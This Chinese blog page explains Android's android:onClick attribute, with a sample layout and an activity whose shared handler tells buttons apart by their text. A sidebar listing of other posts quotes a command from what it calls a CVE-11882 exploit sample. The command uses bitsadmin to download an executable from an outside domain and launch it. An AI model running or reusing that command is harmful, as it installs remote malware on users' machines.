文档章节

android:onClick详解

墨梅
 墨梅
发布于 2014/05/08 07:02
字数 367
阅读 797
收藏 2

public void (View v) 记得函数参数匹配  根据多态性以及函数指针原理这里的函数会注册给android:onClick的监听器

 这样每个button都可以使用onClck定义自己测处理方法,也可以共用,但是关于事件源的区分就没有那么方便了,可能需要获取坐标才能逻辑上判断是哪个按钮或者根据

 

完整例子

main.xml

<?xml version="1.0"encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:orientation="vertical"

    android:layout_width="fill_parent"

    android:layout_height="fill_parent"

    >

<TextView 

    android:layout_width="fill_parent"

    android:layout_height="wrap_content"

    android:text="@string/hello"

    />

<Button

android:onClick = "xxx"

android:text="ok" android:id="@+id/button1" android:layout_width="wrap_content"android:layout_height="wrap_content"></Button>

<Button

android:onClick = "xxx"

android:text="no" android:id="@+id/button2" android:layout_width="wrap_content"android:layout_height="wrap_content"></Button>

</LinearLayout>

MainActivity.java

package com.sms;

 

import android.app.Activity;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

import android.widget.Toast;

 

public class MainAcitivy extends Activity {

   /** Called when the activity is first created. */

   @Override

   public void onCreate(Bundle savedInstanceState) {

       super.onCreate(savedInstanceState);

       setContentView(R.layout.main);

    }

 

   public void xxx(View v)

             {

                       //可以直接转型但是注意有时候子类不匹配  ((Button)v).getText()

                       Button temp = (Button)v;   //最好用instanceof判断子类型的实例,,注意子类型和子类不一样,面向对象设计原理

                       if(temp.getText().toString().trim().equalsIgnoreCase("ok"))

                                {

                                         Toast.makeText(this,"ok ", Toast.LENGTH_SHORT).show();

                                }

                       if(temp.getText().toString().trim().equalsIgnoreCase("no"))

                                {

                                         Toast.makeText(this,"no ", Toast.LENGTH_LONG).show();

                                }

                      

             }

   public void xxxx(View v)  //也可以单独映射自己的方法,但是单独写代码过于冗余 所以建议统一 使用getText判断仍然是好方法,需要记住处理函数参数

             {

                       Toast.makeText(this,"xxxx", Toast.LENGTH_SHORT).show();

             }

}

本文转载自:http://wangxiaalwy.blog.163.com/blog/static/1552508182012113185422809/

共有 人打赏支持
墨梅
粉丝 16
博文 218
码字总数 43367
作品 0
杭州
后端工程师
startActivityForResult用法详解

一、如果想在Activity中得到新打开Activity 关闭后返回的数据,需要使用系统提供的startActivityForResult(Intent intent, int requestCode)方法打开新的Activity,新的Activity 关闭后会向前...

深谷不见幽兰
2014/04/21
0
0
android菜单详解二:选项菜单

创建一个选项菜单 选项菜单里应该包含基本的activity动作和必须的导航条目 (例如,一个打开程序设置的菜单项). 选项菜单的菜单项有两种不同的选择方法,一是菜单项按钮,二是通过 Action Bar...

晨曦之光
2012/03/12
0
0
Android Timer计时器详解

直接上代码,解释看注释,一个火箭发射倒计时的例子 main.xml [html] <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" ......

yumingxinli
2013/03/08
0
1
Android Intent机制实例详解(Activity篇)

Android Intent机制实例详解(Activity篇) Android 中提供了 Intent 机制来协助应用间的交互与通讯,或者采用更准确的说法 是, Intent 不仅可用于应用程序之间,也可用于应用程序内部的 Acti...

xiahuawuyu
2012/08/01
0
0
Android 四种加载方式详解(standard singleTop singleTask ...

Android 四种加载方式详解(standard singleTop singleTask singleInstance) 2012-02-03 14:05Android之四种加载方式 (http://marshal.easymorse.com/archives/2950 图片) 在多Activity开......

gavin_jin
2012/02/29
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
23分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
36分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
37分钟前
1
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
48分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部